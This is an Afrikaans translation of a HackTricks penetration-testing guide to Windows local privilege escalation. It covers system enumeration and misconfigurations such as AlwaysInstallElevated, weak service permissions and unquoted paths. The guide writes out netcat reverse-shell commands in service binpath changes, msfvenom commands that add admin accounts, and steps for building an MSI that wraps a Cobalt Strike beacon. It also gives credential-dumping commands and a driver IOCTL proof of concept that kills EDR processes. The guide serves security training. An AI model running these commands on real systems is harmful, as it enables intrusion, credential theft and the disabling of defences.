Windows Local Privilege Escalation

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Best tool to look for Windows local privilege escalation vectors: WinPEAS

Inleidende Windows-teorie

Access Tokens

As jy nie weet wat Windows Access Tokens is nie, lees die volgende bladsy voordat jy aanhou:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Kyk na die volgende bladsy vir meer inligting oor ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

As jy nie weet wat Integrity Levels in Windows is nie, moet jy die volgende bladsy lees voordat jy aanhou:

Integrity Levels

Windows Security Controls

Daar is verskillende dinge in Windows wat jou kan verhoed om die stelsel te enumereer, om uitvoerbare lĂȘers te laat loop, of selfs jou aktiwiteite te ontdek. Jy moet die volgende bladsy lees en al hierdie verdedigings meganismes enumereer voordat jy met die privilege escalation enumeration begin:

Windows Security Controls

System Info

Version info enumeration

Kyk of die Windows-weergawe enige bekende kwetsbaarheid het (kontroleer ook watter patches toegepas is).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Weergawe Exploits

Hierdie site is handig om gedetailleerde inligting oor Microsoft-sekuriteitskwetsbaarhede te vind. Hierdie databasis het meer as 4,700 sekuriteitskwetsbaarhede, wat die massiewe aanval-oppervlak toon wat ’n Windows-omgewing bied.

Op die stelsel

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas het watson ingebed)

Lokaal met stelsel-inligting

Github repos van exploits:

Omgewing

Is daar enige credential/Juicy info in die env variables gestoor?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell Geskiedenis

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell transkripsielĂȘers

Jy kan leer hoe om dit aan te skakel by https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Besonderhede van PowerShell-pyplynuitvoerings word aangeteken, insluitend uitgevoerde opdragte, opdragaanroepe en dele van skripte. Volledige uitvoeringbesonderhede en uitsetresultate word egter dalk nie vasgelĂȘ nie.

Om dit te aktiveer, volg die instruksies in die “TranskripsielĂȘers” afdeling van die dokumentasie, en kies “Module Logging” in plaas van “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Om die laaste 15 gebeure uit die Powershell logs te sien, kan jy die volgende uitvoer:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

’n Volledige aktiwiteits- en inhoudsregister van die skrip se uitvoering word vasgelĂȘ, wat verseker dat elke blok kode gedokumenteer word terwyl dit loop. Hierdie proses bewaar ’n omvattende ouditbaan van elke aktiwiteit, waardevol vir forensiek en die ontleding van kwaadwillige gedrag. Deur alle aktiwiteite tydens uitvoering te dokumenteer, word gedetailleerde insigte in die proses verskaf.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Loggebeurtenisse vir die Script Block kan binne die Windows Event Viewer gevind word by die pad: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Om die laaste 20 gebeure te sien, kan jy gebruik:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Internetinstellings

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Skywe

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Jy kan die stelsel kompromiteer as die opdaterings nie versoek word met httpS maar met http nie.

Begin deur te kontroleer of die netwerk ’n non-SSL WSUS-opdatering gebruik deur die volgende in cmd te hardloop:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Of die volgende in PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

As jy ’n antwoord kry soos een van hierdie:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

En as HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer of Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" gelyk is aan 1.

Dan, is dit uitbuitbaar. As die laaste registerwaarde gelyk is aan 0, sal die WSUS-inskrywing geĂŻgnoreer word.

Om hierdie kwesbaarhede te misbruik kan jy gereedskap soos gebruik: Wsuxploit, pyWSUS - Hierdie is MiTM weaponized exploits scripts om ‘fake’ updates in nie-SSL WSUS-verkeer in te inspuit.

Lees die navorsing hier:

WSUS CVE-2020-1013

Read the complete report here.
Basies, dit is die fout wat hierdie bug uitbuit:

If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.

Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.

Jy kan hierdie kwesbaarheid uitbuit met die gereedskap WSUSpicious (sodra dit bevry is).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Baie enterprise agents openbaar ’n localhost IPC-oppervlakte en ’n voorregte opdateringskanaal. As enrollment gedwing kan word na ’n aanvaller se bediener en die updater ’n rogue root CA of swak ondertekenaarkontrole vertrou, kan ’n plaaslike gebruiker ’n kwaadaardige MSI lewer wat die SYSTEM-diens installeer. Sien ’n gegeneraliseerde tegniek (gebaseer op die Netskope stAgentSvc-ketting – CVE-2025-0309) hier:

Abusing Auto Updaters And Ipc

KrbRelayUp

’n Local privilege escalation kwesbaarheid bestaan in Windows domain omgewings onder spesifieke toestande. Hierdie toestande sluit omgewings in waar LDAP signing is not enforced, gebruikers self-regte het wat hulle toelaat om Resource-Based Constrained Delegation (RBCD) te konfigureer, en die vermoĂ« het om rekenaars binne die domein te skep. Dit is belangrik om te let dat hierdie requirements met standaardinstellings vervul word.

Vind die exploit in https://github.com/Dec0ne/KrbRelayUp

Vir meer inligting oor die vloei van die aanval, sien https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

As hierdie 2 registerwaardes geaktiveer is (waarde is 0x1), kan gebruikers met enige voorreg *.msi-lĂȘers installeer (uitvoer) as NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

As jy ’n meterpreter-sessie het, kan jy hierdie tegniek outomatiseer met die module exploit/windows/local/always_install_elevated

PowerUP

Gebruik die Write-UserAddMSI-opdrag van power-up om binne die huidige gids ’n Windows MSI-binĂȘre te skep om voorregte op te skaal. Hierdie script skryf ’n voorgekompileerde MSI-installeerder uit wat vir ’n gebruiker/groep-toevoeging vra (dus sal jy GIU-toegang nodig hĂȘ):

Write-UserAddMSI

Voer net die geskepte binaire uit om voorregte te verhoog.

MSI Wrapper

Lees hierdie tutorial om te leer hoe om ’n MSI wrapper te skep met hierdie tools. Neem kennis dat jy ’n “.bat” lĂȘer kan inpak as jy net op command lines wil execute

MSI Wrapper

Skep MSI met WIX

Create MSI with WIX

Skep MSI met Visual Studio

  • Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in C:\privesc\beacon.exe
  • Maak Visual Studio oop, kies Create a new project en tik “installer” in die soekboks. Kies die Setup Wizard project en klik Next.
  • Gee die projek ’n naam, soos AlwaysPrivesc, gebruik C:\privesc vir die ligging, kies place solution and project in the same directory, en klik Create.
  • Klik aanhoudend Next totdat jy by stap 3 van 4 uitkom (choose files to include). Klik Add en kies die Beacon payload wat jy so pas gegenereer het. Klik dan Finish.
  • Merk die AlwaysPrivesc projek in die Solution Explorer en in die Properties, verander TargetPlatform van x86 na x64.
  • Daar is ander properties wat jy kan verander, soos die Author en Manufacturer wat die geĂŻnstalleerde app meer eg kan laat lyk.
  • Regsklik die projek en kies View > Custom Actions.
  • Regsklik Install en kies Add Custom Action.
  • Dubbelklik op Application Folder, kies jou beacon.exe file en klik OK. Dit sal verseker dat die beacon payload uitgevoer word sodra die installer loop.
  • Onder die Custom Action Properties, verander Run64Bit na True.
  • Laastens, build dit.
  • As die waarskuwing File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' verskyn, maak seker jy stel die platform op x64.

MSI Installasie

Om die installasie van die kwaadwillige .msi file in die agtergrond uit te voer:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Om hierdie kwesbaarheid te misbruik, kan jy gebruik: exploit/windows/local/always_install_elevated

Antivirus en detektore

Ouditinstellings

Hierdie instellings bepaal wat gerekord word, dus moet jy aandag skenk

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, is interessant om te weet waarheen die logs gestuur word

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS is ontwerp vir die bestuur van lokale Administrator-wagwoorde, wat verseker dat elke wagwoord uniek, ewekansig en gereeld bygewerk word op rekenaars wat aan ’n domein gekoppel is. Hierdie wagwoorde word veilig gestoor in Active Directory en kan slegs deur gebruikers geraadpleeg word wat via ACLs voldoende regte toegeken is, sodat hulle, indien gemagtig, lokale admin-wagwoorde kan besigtig.

LAPS

WDigest

As dit aktief is, word plain-text passwords in LSASS gestoor (Local Security Authority Subsystem Service).
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Vanaf Windows 8.1 het Microsoft verbeterde beskerming vir die Plaaslike Sekuriteitsowerheid (LSA) ingestel om pogings deur onbetroubare prosesse te blokkeer om sy geheue te lees of kode te injekteer, waardeur die stelsel verder beveilig word.
More info about LSA Protection here.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard is bekendgestel in Windows 10. Die doel daarvan is om die credentials wat op ’n toestel gestoor is, te beskerm teen bedreigings soos pass-the-hash attacks.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials word geauthentiseer deur die Local Security Authority (LSA) en deur bedryfstelselkomponente gebruik. Wanneer ’n gebruiker se aanmelddata deur ’n geregistreerde sekuriteitspakket geauthentiseer word, word domain credentials vir die gebruiker gewoonlik geskep.
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Gebruikers & Groepe

Lys Gebruikers & Groepe

Jy moet nagaan of enige van die groepe waarvan jy ’n lid is, interessante toestemmings het.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Geprivilegieerde groepe

As jy tot ’n geprivilegieerde groep behoort, kan jy dalk bevoegdhede eskaleer. Lees hier oor geprivilegieerde groepe en hoe om hulle te misbruik om bevoegdhede te eskaleer:

Privileged Groups

Token manipulation

Lees meer oor wat ’n token is op hierdie bladsy: Windows Tokens.
Kyk na die volgende bladsy om meer te leer oor interessante tokens en hoe om hulle te misbruik:

Abusing Tokens

Aangemelde gebruikers / Sessies

qwinsta
klist sessions

Tuismappe

dir C:\Users
Get-ChildItem C:\Users

Wagwoordbeleid

net accounts

Haal die inhoud van die knipbord

powershell -command "Get-Clipboard"

Lopende Prosesse

LĂȘer- en gidspermissies

Eerstens, wanneer jy die prosesse lys, kyk vir wagwoorde binne die opdragreël van die proses.
Kontroleer of jy ’n lopende binary kan oorskryf, of dat jy skryfregte op die binary-gids het om moontlike DLL Hijacking attacks te benut:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Kontroleer altyd vir moontlike electron/cef/chromium debuggers wat loop, jy kan dit misbruik om bevoegdhede te verhoog.

Kontroleer die toestemmings van die prosesse se binaries

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Kontroleer die toegangsregte van die vouers van die proses-binaries (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Jy kan ’n geheue-dump van ’n lopende proses skep met procdump van sysinternals. Dienste soos FTP het die credentials in duidelike teks in die geheue, probeer om die geheue te dump en lees die credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Onveilige GUI-apps

Toepassings wat as SYSTEM loop, kan ’n gebruiker toelaat om ’n CMD te begin of gidse te deurblaai.

Voorbeeld: “Windows Help and Support” (Windows + F1), soek na “command prompt”, klik op “Click to open Command Prompt”

Dienste

Service Triggers laat Windows ’n diens begin wanneer sekere toestande voorkom (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Selfs sonder SERVICE_START-regte kan jy dikwels bevoorregte dienste begin deur hul triggers te aktiveer. Sien enumerasie en aktiveringsmetodes hier:

Service Triggers

Kry ’n lys van dienste:

net start
wmic service list brief
sc query
Get-Service

Permissies

Jy kan sc gebruik om inligting oor ’n diens te kry

sc qc <service_name>

Dit word aanbeveel om die binaire accesschk van Sysinternals te hĂȘ om die vereiste voorregvlak vir elke diens te kontroleer.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Dit word aanbeveel om te kontroleer of “Authenticated Users” enige diens kan wysig:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Skakel diens in

As jy hierdie fout kry (byvoorbeeld met SSDPSRV):

Sisteemfout 1058 het voorgekom.
Die diens kan nie begin word nie, hetsy omdat dit gedeaktiveer is of omdat dit geen geaktiveerde toestelle daarmee geassosieer is nie.

Jy kan dit inskakel deur

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Neem in ag dat die diens upnphost van SSDPSRV afhanklik is om te werk (vir XP SP1)

Nog ’n ompadoplossing van hierdie probleem is om die volgende uit te voer:

sc.exe config usosvc start= auto

Modify service binary path

In die scenario waar die “Authenticated users” groep SERVICE_ALL_ACCESS op ’n service het, is dit moontlik om die service se executable binary te wysig. Om sc te wysig en uit te voer:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Herbegin diens

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Bevoegdhede kan verhoog word deur verskeie permissies:

  • SERVICE_CHANGE_CONFIG: Laat herkonfigurasie van die service-binary toe.
  • WRITE_DAC: Maak toestemmingsherkonfigurasie moontlik, wat lei tot die vermoĂ« om service-konfigurasies te verander.
  • WRITE_OWNER: Laat eienaarskapverkryging en toestemmingsherkonfigurasie toe.
  • GENERIC_WRITE: Erf die vermoĂ« om service-konfigurasies te verander.
  • GENERIC_ALL: Erf ook die vermoĂ« om service-konfigurasies te verander.

Vir die opsporing en uitbuiting van hierdie kwesbaarheid kan die exploit/windows/local/service_permissions gebruik word.

Swak permissies op service-binaries

Kontroleer of jy die binaire wat deur ’n service uitgevoer word kan wysig of as jy skryfregte op die gids het waar die binaire geleĂ« is (DLL Hijacking).
Jy kan elke binaire wat deur ’n service uitgevoer word kry deur wmic te gebruik (nie in system32 nie) en jou toestemmings nagaan met icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Jy kan ook sc en icacls gebruik:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Services registry wysig toestemmings

Jy moet nagaan of jy enige service registry kan wysig.
Jy kan jou toestemmings oor ’n service registry nagaan deur:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Daar moet nagegaan word of Authenticated Users of NT AUTHORITY\INTERACTIVE FullControl-toestemmings besit. Indien wel, kan die binĂȘre wat deur die diens uitgevoer word, verander word.

Om die Path van die uitgevoerde binĂȘre te verander:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory permissions

Indien jy hierdie toestemming oor ’n registry het beteken dit dat jy sub registries van hierdie een kan skep. In die geval van Windows services is dit voldoende om arbitrĂȘre kode uit te voer:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

Indien die pad na ’n executable nie tussen aanhalingstekens is nie, sal Windows probeer om elke einde voor ’n spasie uit te voer.

Byvoorbeeld, vir die pad C:\Program Files\Some Folder\Service.exe sal Windows probeer om uit te voer:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Lys alle dienstepaaie sonder aanhalingstekens, uitgesluit dié wat aan ingeboude Windows-dienste behoort:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Jy kan hierdie kwesbaarheid opspoor en uitbuit met metasploit: exploit/windows/local/trusted\_service\_path Jy kan handmatig ’n service binary met metasploit skep:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Herstelaksies

Windows laat gebruikers toe om aksies te spesifiseer wat geneem moet word as ’n diens misluk. Hierdie funksie kan gekonfigureer word om na ’n binary te verwys. As hierdie binary vervangbaar is, kan privilege escalation moontlik wees. Meer besonderhede is beskikbaar in die official documentation.

Toepassings

GeĂŻnstalleerde toepassings

Kontroleer die toestemmings van die binaries (miskien kan jy een oorskryf en escalate privileges) en van die folders (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Skryfregte

Kontroleer of jy ’n config file kan wysig om ’n special file te lees, of jy ’n binary kan wysig wat deur ’n Administrator account uitgevoer gaan word (schedtasks).

Een manier om swak folder/files permissions in die stelsel te vind, is om die volgende te doen:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Voer by opstart uit

Kyk of jy ’n registry of binary kan oorskryf wat deur ’n ander gebruiker uitgevoer gaan word.
Lees die volgende bladsy om meer te leer oor interessante autoruns locations to escalate privileges:

Privilege Escalation with Autoruns

Drywers

Soek na moontlike drywers van derde partye wat vreemd/kwesbaar is

driverquery
driverquery.exe /fo table
driverquery /SI

As ’n driver ’n arbitrary kernel read/write primitive blootstel (algemeen in swak ontwerpte IOCTL handlers), kan jy eskaleer deur ’n SYSTEM token direk uit kernel geheue te steel. Sien die stapsgewyse tegniek hier:

Arbitrary Kernel Rw Token Theft

Vir race-condition bugs waar die kwetsbare oproep ’n attacker-controlled Object Manager path oopmaak, kan doelbewus die lookup vertraag (deur max-length components of deep directory chains te gebruik) die venster van microseconds na tienduisende microseconds rek:

Kernel Race Condition Object Manager Slowdown

Registry hive memory corruption primitives

Moderne hive kwetsbaarhede laat jou toe om deterministiese uitlegte te groom, writable HKLM/HKU descendants misbruik, en metadata corruptie omskakel in kernel paged-pool overflows sonder ’n custom driver. Leer die volledige ketting hier:

Windows Registry Hive Exploitation

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

Sommige gesigneerde derde‑party drivers skep hul device object met ’n sterk SDDL via IoCreateDeviceSecure maar vergeet om FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics te stel. Sonder hierdie vlag word die secure DACL nie afgedwing wanneer die device geopen word deur ’n path wat ’n ekstra komponent bevat nie, wat enige onprivilegieerde gebruiker toelaat om ’n handle te kry deur ’n namespace path soos:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

Sodra ’n gebruiker die device kan open, kan geprivilegieerde IOCTLs wat deur die driver blootgestel word vir LPE en tampering misbruik word. Voorbeelde van vermoĂ«ns wat in die veld waargeneem is:

  • Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
  • Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel.

Minimal PoC pattern (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigasies vir ontwikkelaars

  • Stel altyd FILE_DEVICE_SECURE_OPEN in wanneer device-objekte geskep word wat deur ’n DACL beperk moet word.
  • Valideer die oproeperkonteks vir bevoorregte operasies. Voeg PP/PPL-kontroles by voordat prosesbeĂ«indiging of handle-teruggawes toegelaat word.
  • Beperk IOCTLs (toegangsmaskers, METHOD_*, invoervalidatie) en oorweeg bemiddelde modelle in plaas van direkte kernel-privileges.

Opsporingsidees vir verdedigers

  • Moniteer user-mode-openings van verdagte apparaatname (e.g., \ .\amsdk*) en spesifieke IOCTL-volgordes wat op misbruik dui.
  • Dwing Microsoft se bloklys vir kwesbare drivers af (HVCI/WDAC/Smart App Control) en hou jou eie toelaat-/weierlyste by.

PATH DLL Hijacking

As jy skryftoestemmings binne ’n gids wat op PATH voorkom het, kan jy moontlik ’n DLL wat deur ’n proses gelaai word kap en escalate privileges.

Kontroleer die toestemmings van alle gidse binne PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Vir meer inligting oor hoe om hierdie kontrole te misbruik:

Writable Sys Path +Dll Hijacking Privesc

Netwerk

Gedeelde gidse

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Kontroleer vir ander bekende rekenaars wat hardgekodeer is in die hosts file

type C:\Windows\System32\drivers\etc\hosts

Netwerkkoppelvlakke & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Oop poorte

Kontroleer vir beperkte dienste van buite af

netstat -ano #Opened ports?

Roeteringstabel

route print
